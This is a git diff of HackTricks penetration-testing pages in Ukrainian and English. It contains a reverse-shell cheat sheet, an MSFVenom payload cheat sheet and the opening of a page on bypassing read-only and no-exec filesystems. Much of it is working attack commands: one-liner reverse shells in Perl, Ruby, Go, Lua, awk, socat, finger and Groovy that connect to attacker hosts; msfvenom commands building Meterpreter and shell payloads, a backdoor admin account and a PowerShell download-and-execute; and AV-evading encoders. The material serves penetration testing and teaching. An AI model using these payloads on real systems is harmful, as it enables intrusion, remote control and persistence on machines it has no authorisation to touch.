perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Рубі
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ -191,14 +187,10 @@ victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
## Голанг
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua - це легковага, високорівнева мова програмування, яка широко використовується для створення скриптів та розширення функціональності програм. Lua може бути вбудована в інші програми як скриптова мова. Lua використовується в багатьох відомих програмах, таких як World of Warcraft і Adobe Lightroom. Lua має простий синтаксис та потужні можливості, що робить її популярним вибором для розробників.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -250,7 +242,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL
Атакувальник (Kali)
Атакуючий (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
@ -268,29 +260,27 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Прив'язка оболонки
### Прив'язаний шелл
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Зворотній shell
### Реверсна оболонка
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk - це потужний інструмент для обробки тексту в Linux. Він може бути використаний для вибору певних рядків або стовпців з файлу, обчислення значень, форматування виводу та багато іншого.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Палець
## Finger
**Атакувальник**
**Атакуючий**
```bash
while true; do nc -l 79; done
```
Щоб відправити команду, запишіть її, натисніть Enter і натисніть CTRL+D (щоб зупинити STDIN)
Щоб надіслати команду, напишіть її, натисніть enter і натисніть CTRL+D (щоб зупинити STDIN)
**Жертва**
```bash
@ -299,37 +289,6 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
### Introduction
Gawk is a powerful programming language that is used for manipulating text files. It is particularly useful for processing and analyzing data in text files.
### Basic Usage
To use Gawk, you can simply run the `gawk` command followed by the script file you want to execute. For example:
```bash
gawk -f script.awk data.txt
```
### Useful Features
- **Pattern Matching**: Gawk allows you to specify patterns to select specific records for processing.
- **Variables**: You can use variables to store values and perform calculations in Gawk scripts.
- **Functions**: Gawk provides a variety of built-in functions for string manipulation, mathematical operations, and more.
- **Output Formatting**: You can control the output format of your data using Gawk's formatting features.
### Examples
1. Print lines longer than 80 characters:
```bash
gawk 'length > 80' data.txt
```
2. Print the second field of each line:
```bash
gawk '{print $2}' data.txt
```
3. Calculate the total sum of the first column:
```bash
gawk '{sum+=$1} END {print sum}' data.txt
```
```bash
#!/usr/bin/gawk -f
@ -354,49 +313,50 @@ close(Service)
```
## Xterm
Це спробує підключитися до вашої системи на порт 6001:
Це спробує підключитися до вашої системи на порту 6001:
```bash
xterm -display 10.0.0.1:1
```
Для отримання зворотньої оболонки можна використовувати (яка буде слухати на порту 6001):
Щоб зловити реверс-оболонку, ви можете використовувати (яка буде слухати на порту 6001):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
## Груві
## Groovy
автор [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ПРИМІТКА: Java зворотний shell також працює для Груві
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ЗАУВАЖЕННЯ: Java reverse shell також працює для Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## Посилання
## References
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Група з безпеки Try Hard Security**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,41 +1,44 @@
# MSFVenom - Шпаргалка
# MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Інсайти щодо Хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Hacking Insights**\
Залучайте контент, який занурюється в захоплення та виклики хакінгу
**Новини про Хакінг у Реальному Часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
**Real-Time Hack News**\
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
**Останні Оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи
**Latest Announcements**\
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
***
## Основний msfvenom
## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
Також можна використовувати `-a` для вказання архітектури або `--platform`
One can also use the `-a` to specify the architecture or the `--platform`
## Listing
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
@ -48,59 +51,67 @@ msfvenom -l encoders #Encoders
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
### **Зворотній шелл**
## **Windows**
### **Зворотний Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
### Прив'язка оболонки
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
### Створення користувача
### Створити користувача
{% code overflow="wrap" %}
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
### Оболонка CMD
{% endcode %}
### CMD Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
### **Виконання команди**
### **Виконати команду**
{% code overflow="wrap" %}
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
### Кодувальник
### Encoder
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
### Вбудовано виконуваний файл
{% endcode %}
### Вбудовано в виконуваний файл
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
## Linux Payloads
{% endcode %}
### Зворотний шел
## Linux Пейлоади
### Реверсна оболонка
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
### Прив'язка оболонки
### Bind Shell
{% code overflow="wrap" %}
```bash
@ -114,47 +125,63 @@ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port)
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
## **MAC Payloads**
{% endcode %}
### **Reverse Shell:**
## **MAC Пейлоади**
### **Реверсний Шелл:**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
### **Прив'язка оболонки**
{% endcode %}
### **Bind Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
## **Веб-орієнтовані Payloads**
{% endcode %}
## **Веб-орієнтовані корисні навантаження**
### **PHP**
#### Зворотній шелл
#### Зворотний шел**л
{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
{% endcode %}
### ASP/x
#### Зворотній shell
#### Зворотний шелл
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
{% endcode %}
### JSP
#### Зворотній shell
#### Зворотний шелл
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}
### ВІЙНА
#### Зворотний шел
#### Реверсна оболонка
{% code overflow="wrap" %}
```bash
@ -166,7 +193,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
## **Сценарії мови**
## **Скриптові мови навантаження**
### **Perl**
@ -174,45 +201,44 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
### **Python**
{% endcode %}
{% code overflow="wrap" %}
### **Python**
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
### **Bash**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти щодо хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
**Новини про хакінг у реальному часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі найновіших запусків баг баунті та важливих оновлень платформи
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Вчіться та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Bypass FS protections: read-only / no-exec / Distroless
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://github.com/carlospolop/hacktricks/blob/ua/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне володіння польською мовою, як письмово, так і усно_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Відео
## Videos
У наступних відео ви знайдете техніки, згадані на цій сторінці, пояснені більш детально:
In the following videos you can find the techniques mentioned in this page explained more in depth:
* [**DEF CON 31 - Дослідження маніпулювання пам'яттю Linux для прихованості та ухилення**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Приховані вторгнення з DDexec-ng та in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Сценарій тільки для читання / без виконання
## read-only / no-exec scenario
Стає все більш поширеним знаходити лінукс-машини, які мають захист файлової системи **тільки для читання (ro)**, особливо в контейнерах. Це тому, що для запуску контейнера з файловою системою ro досить просто встановити **`readOnlyRootFilesystem: true`** в `securitycontext`:
Все частіше можна зустріти linux-машини, змонтовані з **захистом файлової системи тільки для читання (ro)**, особливо в контейнерах. Це пов'язано з тим, що запустити контейнер з файловою системою ro так само просто, як встановити **`readOnlyRootFilesystem: true`** в `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,49 +45,47 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Однак, навіть якщо файлова система монтується як ro, **`/dev/shm`** все ще буде доступним для запису, тому це фактично означає, що ми можемо записувати дані на диск. Однак ця папка буде **монтуватися з захистом no-exec**, тому якщо ви завантажите бінарний файл сюди, ви **не зможете виконати його**.
Однак, навіть якщо файлова система змонтована як ro, **`/dev/shm`** все ще буде записуваним, тому це неправда, що ми не можемо нічого записати на диск. Однак, ця папка буде **змонтована з захистом no-exec**, тому якщо ви завантажите бінарний файл сюди, ви **не зможете його виконати**.
{% hint style="warning" %}
З погляду червоної команди це ускладнює **завантаження та виконання** бінарних файлів, яких немає в системі (наприклад, backdoors або інструменти для переліку, такі як `kubectl`).
З точки зору червоної команди, це ускладнює **завантаження та виконання** бінарних файлів, які вже не знаходяться в системі (як бекдори або енумератори, такі як `kubectl`).
{% endhint %}
## Найпростіший обхід: Сценарії
## Easiest bypass: Scripts
Зверніть увагу, що я згадав про бінарні файли, ви можете **виконати будь-який сценарій**, якщо інтерпретатор знаходиться всередині машини, наприклад, **сценарій оболонки**, якщо присутній `sh` або **сценарій Python**, якщо встановлено `python`.
Зверніть увагу, що я згадував бінарні файли, ви можете **виконувати будь-який скрипт**, якщо інтерпретатор знаходиться всередині машини, наприклад, **shell-скрипт**, якщо `sh` присутній, або **python** **скрипт**, якщо `python` встановлений.
Однак цього недостатньо для виконання вашого бінарного backdoor або інших бінарних інструментів, які вам може знадобитися запустити.
Однак цього недостатньо, щоб виконати ваш бінарний бекдор або інші бінарні інструменти, які вам можуть знадобитися.
## Обхід пам'яті
## Memory Bypasses
Якщо ви хочете виконати бінарний файл, але файлова система не дозволяє цього зробити, найкращий спосіб - **виконати його з пам'яті**, оскільки **захисти не застосовуються там**.
Якщо ви хочете виконати бінарний файл, але файлова система цього не дозволяє, найкращий спосіб зробити це - **виконати його з пам'яті**, оскільки **захисти не застосовуються там**.
### Обхід FD + exec syscall
### FD + exec syscall bypass
Якщо у вас є потужні скриптові двигуни всередині машини, такі як **Python**, **Perl** або **Ruby**, ви можете завантажити бінарний файл для виконання з пам'яті, зберегти його в дескрипторі файлу пам'яті (`create_memfd` syscall), який не буде захищений цими захистами, а потім викликати **системний виклик exec**, вказавши **fd як файл для виконання**.
Якщо у вас є потужні скриптові движки всередині машини, такі як **Python**, **Perl** або **Ruby**, ви можете завантажити бінарний файл для виконання з пам'яті, зберегти його в дескрипторі пам'яті (`create_memfd` syscall), який не буде захищений цими захистами, а потім викликати **`exec` syscall**, вказуючи **fd як файл для виконання**.
Для цього ви можете легко використовувати проект [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Ви можете передати йому бінарний файл, і він згенерує сценарій на вказаній мові з **бінарним файлом стиснутим і закодованим у b64** з інструкціями для **декодування та розпакування** його в **fd**, створеного за допомогою виклику `create_memfd` syscall та виклику **exec** syscall для його запуску.
Для цього ви можете легко використовувати проект [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Ви можете передати йому бінарний файл, і він згенерує скрипт у вказаній мові з **бінарним файлом, стиснутим і закодованим в b64** з інструкціями для **декодування та розпакування його** в **fd**, створеному за допомогою виклику `create_memfd` syscall, і викликом **exec** syscall для його виконання.
{% hint style="warning" %}
Це не працює в інших мовах сценаріїв, таких як PHP або Node, оскільки вони не мають жодного **стандартного способу виклику сирі системні виклики** з сценарію, тому неможливо викликати `create_memfd` для створення **дескриптора файлу пам'яті** для зберігання бінарного файлу.
Це не працює в інших скриптових мовах, таких як PHP або Node, оскільки у них немає жодного **за замовчуванням способу викликати сирі системні виклики** з скрипту, тому неможливо викликати `create_memfd`, щоб створити **дескриптор пам'яті** для зберігання бінарного файлу.
Більше того, створення **звичайного дескриптора файлу** з файлом у `/dev/shm` не працюватиме, оскільки ви не зможете його запустити через застосування **захисту no-exec**.
Більше того, створення **звичайного дескриптора** з файлом у `/dev/shm` не спрацює, оскільки вам не дозволять його виконати через те, що **захист no-exec** буде застосований.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) - це техніка, яка дозволяє вам **змінювати пам'ять вашого власного процесу**, перезаписуючи його **`/proc/self/mem`**.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) - це техніка, яка дозволяє вам **модифікувати пам'ять вашого власного процесу** шляхом перезапису його **`/proc/self/mem`**.
Отже, **керуючи кодом асемблера**, який виконується процесом, ви можете написати **шелл-код** та "мутувати" процес для **виконання будь-якого довільного коду**.
Отже, **контролюючи асемблерний код**, який виконується процесом, ви можете написати **shellcode** і "мутувати" процес, щоб **виконати будь-який довільний код**.
{% hint style="success" %}
